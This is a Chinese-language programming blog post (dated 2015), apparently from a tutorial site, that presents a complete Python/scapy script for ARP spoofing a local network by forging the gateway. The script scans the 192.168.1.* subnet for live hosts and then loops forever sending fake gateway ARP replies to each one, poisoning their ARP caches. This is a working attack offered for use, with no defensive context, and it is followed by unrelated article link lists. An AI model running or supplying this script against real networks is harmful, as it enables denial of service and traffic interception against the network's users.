python使用arp欺骗伪造网关的方法


Posted in Python onApril 24, 2015

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
python中map()与zip()操作方法
Feb 27 Python
python八大排序算法速度实例对比
Dec 06 Python
pyhton列表转换为数组的实例
Apr 04 Python
python学习笔记--将python源文件打包成exe文件(pyinstaller)
May 26 Python
python实现键盘控制鼠标移动
Nov 27 Python
python的命名规则知识点总结
Oct 04 Python
解决python运行启动报错问题
Jun 01 Python
基于python+selenium自动健康打卡的实现代码
Jan 13 Python
python网络爬虫实现发送短信验证码的方法
Feb 25 Python
Django项目在pycharm新建的步骤方法
Mar 02 Python
python 用递归实现通用爬虫解析器
Apr 16 Python
教你如何使用Python Tkinter库制作记事本
Jun 10 Python
python使用wxPython打开并播放wav文件的方法
Apr 24 #Python
python使用PyGame播放Midi和Mp3文件的方法
Apr 24 #Python
python使用PyGame绘制图像并保存为图片文件的方法
Apr 24 #Python
python使用PIL缩放网络图片并保存的方法
Apr 24 #Python
python使用Tkinter显示网络图片的方法
Apr 24 #Python
Python中最常用的操作列表的几种方法归纳
Apr 24 #Python
在Python中使用lambda高效操作列表的教程
Apr 24 #Python
You might like
PHP模板引擎SMARTY
2006/10/09 PHP
php5.5中类级别的常量使用介绍
2013/10/02 PHP
php判断文件夹是否存在不存在则创建
2015/04/09 PHP
List the Codec Files on a Computer
2007/06/11 Javascript
js 时间格式与时间戳的相互转换示例代码
2013/12/25 Javascript
事件委托与阻止冒泡阻止其父元素事件触发
2014/09/02 Javascript
jQuery中insertAfter()方法用法实例
2015/01/08 Javascript
jquery获取当前日期的方法
2015/01/14 Javascript
超精准的javascript验证身份证号的具体实现方法
2015/11/18 Javascript
JS文件上传神器bootstrap fileinput详解
2021/01/28 Javascript
使用angular帮你实现拖拽的示例
2017/07/05 Javascript
AngularJS点击添加样式、点击变色设置的实例代码
2017/07/27 Javascript
vue与bootstrap实现时间选择器的示例代码
2017/08/26 Javascript
微信小程序实现图片滚动效果示例
2018/12/05 Javascript
小程序云开发教程如何使用云函数实现点赞功能
2019/05/18 Javascript
浅谈webpack和webpack-cli模块源码分析
2020/01/19 Javascript
2020京东618叠蛋糕js脚本(亲测好用)
2020/06/02 Javascript
vue中的计算属性和侦听属性
2020/11/06 Javascript
[03:43]2014DOTA2西雅图国际邀请赛 newbee战队巡礼
2014/07/07 DOTA
[34:44]Liquid vs TNC Supermajor 胜者组 BO3 第二场 6.4
2018/06/05 DOTA
python把数组中的数字每行打印3个并保存在文档中的方法
2018/07/17 Python
Python中函数参数调用方式分析
2018/08/09 Python
pandas读取csv文件,分隔符参数sep的实例
2018/12/12 Python
使用pandas把某一列的字符值转换为数字的实例
2019/01/29 Python
python flask安装和命令详解
2019/04/02 Python
python scipy卷积运算的实现方法
2019/09/16 Python
Tensorflow训练MNIST手写数字识别模型
2020/02/13 Python
python turtle工具绘制四叶草的实例分享
2020/02/14 Python
Python2及Python3如何实现兼容切换
2020/09/01 Python
大学四年学习的自我评价分享
2013/12/09 职场文书
学校庆元旦歌咏比赛主持词
2014/03/18 职场文书
党的群众路线教育实践活动对照检查材料范文
2014/09/24 职场文书
拾金不昧表扬信
2015/01/16 职场文书
小浪底导游词
2015/02/12 职场文书
初中语文教学随笔
2015/08/15 职场文书
类和原型的设计模式之复制与委托差异
2022/07/07 Javascript